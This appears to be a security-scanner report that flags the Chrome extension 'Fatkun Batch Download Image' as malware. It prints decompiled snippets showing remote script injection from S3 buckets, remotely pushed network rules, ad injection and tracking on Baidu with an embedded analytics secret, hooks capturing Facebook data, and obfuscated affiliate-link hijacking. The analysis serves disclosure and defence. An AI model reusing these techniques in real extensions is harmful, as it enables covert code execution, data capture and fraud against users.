Security Alert: Confirmed Malware
Fatkun Batch Download Image
ID: efcapamiilmdfbbilogcddbdckjhpajj
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- fatkunView Profile
- Privacy
- Privacy Policy
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
Download pictures in batches.
Download all pictures on the page with one click, support all websites Some websites support automatic resolution into high-definition large images, and we will continue to add them according to user needs Smart scripts automatically filter the pictures users need, such as e-commerce pictures, automatically filter the main picture, SKU picture, and detailed picture, and display them in categories. Supported websites are constantly being updated.
The extension fetches remotely-hosted JavaScript (scriptText and prejsText) from an AWS S3 bucket via the CMD_GET_SCRIPT background command, then injects it directly into the current page's DOM by setting a script element's innerHTML and appending it to the document. This constitutes full remote code execution in the user's page context, allowing the extension operator to push arbitrary JavaScript to all users' browsers at any time without a store update.
c({ cmd: "CMD_FROM_PAGE_TO_BG", from: "page", extId: r, data: { cmd: "CMD_GET_SCRIPT" } }, (e => function(e, n, t, a) { return new(t || (t = Promise))((function(o, c) { ... }(void 0, void 0, void 0, (function*() { let n = null == e ? void 0 : e.data; if (n) { const e = window[d]; let a = ` console.log('script'); (function(chrome){ ${n.prejsText}; ${n.scriptText}; let gobj = window["${d}"]; gobj.aiparser = window.aiparser; gobj.extras = window.extras })({ inpage: true, runtime: { id: '${r}', sendMessage: function (req, cb) { ...window['ftk_postMessage_${r}'](req, data => { cb && cb(data) }) }, }, }); `; let o = document.createElement("script"); o.charset = "utf-8", o.innerHTML = a; document.documentElement.appendChild(o)On startup the extension fetches netRules.json from a remote AWS S3 server and immediately applies the rules as Chrome declarativeNetRequest session rules, giving the remote server operator real-time control over which network requests are intercepted, blocked, or redirected for all users. Because the rules are fetched at each startup they can be changed server-side without any extension update, constituting a persistent, remotely-controlled network interception mechanism.
const o = "https://s3.ap-east-1.amazonaws.com/static.f7tk.com/";...const z = o;function v() { var t; return k(this, void 0, void 0, (function*() { ! function() { k(this, void 0, void 0, (function*() { let t = (yield chrome.storage.local.get("scriptList")).scriptList || [], a = []; a = yield fetch(`${z}aiscripts2/scripts.json?_=${Date.now()}`).then((t => t.json())); ... let s = []; s = yield fetch(`${z}netRules.json?_=${Date.now()}`).then((t => t.json())); let o = []; o = yield fetch(`${z}hdRules.json?_=${Date.now()}`).then((t => t.json())); chrome.storage.local.set({ commonRules_mv3: o, netRules: s }); chrome.declarativeNetRequest.updateSessionRules({ removeRuleIds: s.map((t => t.id)) }).then((() => { chrome.declarativeNetRequest.updateSessionRules({ addRules: s }) })) })) } }))When a content script requests a site-specific script via CMD_GET_SCRIPT, the background fetches the full JavaScript text from a remote URL (either the S3 CDN or a locally cached copy) and returns it to the caller. Combined with scriptMain.bundle.js which immediately executes this text via script innerHTML, this creates a complete remote-code-execution pipeline keyed on the tab's current URL, allowing per-site payload delivery from the operator's S3 infrastructure.
case "CMD_GET_SCRIPT":let e = yield chrome.storage.local.get("scriptList");var i = e.scriptList.find((t => { var s, o; return null === (o = null === (s = a.tab) || void 0 === s ? void 0 : s.url) || void 0 === o ? void 0 : o.match(t.reg)}));if (i) { var c = !1; const t = f.find((t => t.id == i.id && t.version == i.version)); i.scriptText || (i.scriptText = t ? yield fetch(i.url.replace(o, chrome.runtime.getURL(""))).then((t => t.text())): yield fetch(i.url + `?${i.version}`).then((t => t.text())), c = !0); i.prejs ? i.prejsText || (i.prejsText = yield fetch(i.prejs).then((t => t.text())), c = !0) : i.prejsText = ""; c && chrome.storage.local.set({ scriptList: e.scriptList }); s = i} else s = null;When running on Baidu search pages (www.baidu.com), this script injects an unsolicited iframe advertisement from ad.aginnov.com into the page's right sidebar, completely outside user awareness or consent. It also generates a persistent tracking UUID stored in localStorage as agad_bd_client_id and reports ad impression and close events to a hardcoded Google Analytics property with an embedded API secret, constituting unauthorized ad injection and user tracking on third-party websites.
let s = localStorage.agad_bd_client_id || function() { /* UUID generation */ }();function c(e) { fetch("https://www.google-analytics.com/mp/collect?measurement_id=G-DVW8YT79E8&api_secret=QTd6SD9cTmqFr5XZohCTxg", { method: "POST", body: JSON.stringify({ client_id: s, events: e }) })}localStorage.agad_bd_client_id = s;...localStorage.agadClosed || m < 0 || m < 1 && setTimeout((() => { document.querySelector(".ag-gpt-container") || location.href.match("www.baidu.com") && function() { const e = setInterval((() => { if (localStorage.agadClosed) clearInterval(e); else { if (!document.getElementById(g)) { var n = document.getElementById("content_right"); if (n) { var i = document.createElement("div"); i.id = g; i.style.position = "relative"; n.prepend(i); i.appendChild(((o = document.createElement("div")), o.innerHTML = '<iframe src="https://ad.aginnov.com/agai" style="width:100%;height:100%;overflow:hidden;border:0"></iframe>', o)); c([{ name: `ad_show_${g}`, params: { source: u } }]) } } } }), 2e3) }()}), 1e3)This script completely replaces XMLHttpRequest's open and send prototype methods, intercepting every XHR response on the page. It specifically targets Facebook GraphQL API responses containing pageItems.edges (Facebook's internal format for post/image listings) and broadcasts the full parsed response payload via window.postMessage, exfiltrating private Facebook data to the extension's content script layer without user awareness.
var e = window.XMLHttpRequest.prototype.open, n = window.XMLHttpRequest.prototype.send;function o() { if (4 == this.readyState) try { t(this.responseText) } catch (t) {} if (this._onreadystatechange) return this._onreadystatechange.apply(this, arguments)}window.XMLHttpRequest.prototype.open = function(t, n, o, a, s) { return e.apply(this, arguments)}window.XMLHttpRequest.prototype.send = function(t) { return this.onreadystatechange && (this._onreadystatechange = this.onreadystatechange), this.onreadystatechange = o, this.sendData = t, n.apply(this, arguments)}/* callback t: */(t => { t.includes('"pageItems":{"edges"') && window.postMessage({ topic: "xhr.hook", data: JSON.parse(t) })})This script globally monkey-patches the window.fetch function by replacing it with an interceptor that clones every response and parses it as JSON before allowing the original promise to resolve. While it currently only clones and discards, the overridden fetch intercepts all network traffic on the page, providing a foundation to silently capture any JSON response from any origin the page contacts, and the interception wrapper can be updated server-side at any time.
! function() { var e = fetch; fetch = (n, t) => e(n, t).then((e => new Promise((n => { e.clone().json().then((t => { n(e) })) }))))}();The background script loads jdRules (JD.com/Taobao redirect rules) from chrome.storage, then monitors all tab updates for URLs matching obfuscated Taobao/Baidu affiliate click patterns. When a match is detected it silently redirects the hijacked tab to a target e-commerce URL, constituting affiliate-link fraud by intercepting user-initiated clicks and routing them through the extension's affiliate identifiers. The URL patterns are hidden via string reversal to evade static analysis.
const a = ")kcilc*.hcraes/moc.oaboat.dlrow.ia//:*.|=kcilc*.?\\mth.xedni/hcraes/moc.oaboat.ia//:*.|=kcilc*./moc.udiab.sop//:*.|=kcilc*.?\\hcraesbt/mes/moc.oaboat.dnalu//:*.(".split("").reverse().join("");// Decoded: (.*://uland.taobao.com/sem/tbsearch\?.*click=|.*://pos.baidu.com/.*click=|.*://ai.taobao.com/search/index.htm\?.*click=|.*://ai.world.taobao.com/search.*click)const r = function() { var e = function() { var e = []; function a(e) { chrome.tabs.update(r.id, { url: e }), o.currentTask = "jdTask", clearTimeout(t), t = setTimeout((function() { r && !r.stayTime && chrome.tabs.get(r.id, (e => { e.url != r.url && r && chrome.tabs.update(r.id, { url: r.url }) })) }), 5e3 + parseInt(5e3 * Math.random())) } return { init: function(t) { o = t, chrome.storage.local.get("jdRules", (t => { e = t.jdRules || [] })), chrome.runtime.onMessage.addListener(((e, t, r) => ( "dojd" == e.cmd && this.check(t.tab, e.data) && a(e.data), !0 ))) }, tabUpdated: function(t, r, o) { let n = function(t) { for (var a = "", r = 0; r < e.length; r++) if (t.match(e[r].detailReg)) { a = e[r].target; break } return a }(o.url); this.check(o, n) && a(n) } } }()}The content script hardcodes a second AWS S3 bucket URL (fkpm3.s3.ap-northeast-2.amazonaws.com) and updates the extension's assetsServer storage key to point to it 30 days after installation, then injects sm.bundle.js into the page DOM which subsequently fetches and RC4-decrypts content from that S3 endpoint. This establishes a persistent, remotely-updatable C2-style channel that can change behavior without any Chrome Web Store update.
(() => { "use strict"; const e = "fatkun-pro-mv3"; const t = "https://fkpm3.s3.ap-northeast-2.amazonaws.com"; window.addEventListener("message", (t => { let a = t.data; "ctcb" == a.cmd && a.cb && t[a.cb] && t[a.cb](a.data) })); { chrome.storage.local.get("updateTime", (e => { e.updateTime && Date.now() - e.updateTime > 2592e5 && chrome.storage.local.set({ assetsServer: t }) })); let a = document.createElement("script"); a.src = chrome.runtime.getURL("/sm.bundle.js"); a.dataset.pname = e; a.dataset.assetPath = t; document.body.appendChild(a) } document.body.getAttribute("inMainTabUse") || (document.body.setAttribute("inMainTabUse", 1), chrome.runtime.onMessage.addListener(((e, t, a) => { "canbeuse" == e.topic && a(!0) })))})();When a tab navigates to any Taobao or Baidu affiliate-click URL (matched against the reverse-obfuscated regex), the extension immediately injects CSS that sets body display:none, rendering the page invisible to the user. This hides the visual redirect happening in the background, making the tab manipulation invisible and preventing the user from seeing or interrupting the affiliate-link hijacking in progress.
const a = ")kcilc*.hcraes/moc.oaboat.dlrow.ia//:*.|=kcilc*.?\\mth.xedni/hcraes/moc.oaboat.ia//:*.|=kcilc*./moc.udiab.sop//:*.|=kcilc*.?\\hcraesbt/mes/moc.oaboat.dnalu//:*.(".split("").reverse().join("");// Actual value after .reverse(): (.*://uland.taobao.com/sem/tbsearch\?.*click=|.*://pos.baidu.com/.*click=|.*://ai.taobao.com/search/index.htm\?.*click=|.*://ai.world.taobao.com/search.*click)...u.push(((e, t, r) => { "loading" == t.status && t.url && t.url.match(a) && chrome.scripting.insertCSS({ css: "body{\n display: none;\n }", target: { tabId: e } })}))chrome.tabs.onUpdated.addListener(((e, t, a) => { u.forEach((r => { try { r.call(void 0, e, t, a) } catch (e) {} }))}))The manifest declares all extension files (/* glob) as web-accessible from any origin (<all_urls>), meaning any web page can load any internal extension file including bundle scripts and internal assets via chrome-extension:// URLs. Combined with the remote code loading infrastructure this significantly widens the attack surface, as a compromised or malicious web page could directly reference and load extension scripts.
{ "web_accessible_resources": [ { "resources": [ "/*" ], "matches": [ "<all_urls>" ] } ]}By severity
Versions scanned
Showing 2 of 45 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 10.4.0 | 10 |
| 10.0.5 | 6 |
Files with findings
11 distinct paths — top paths by unique finding count:
- background.bundle.js4
- aiscripts3/ads.bundle.js2
- js/background.js2
- aiscripts2/www.facebook.com.js1
- aiscripts3/ec.bundle.js1
- aiscripts3/fbpre.bundle.js1
- ct.bundle.js1
- js/fetch.hook.js1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.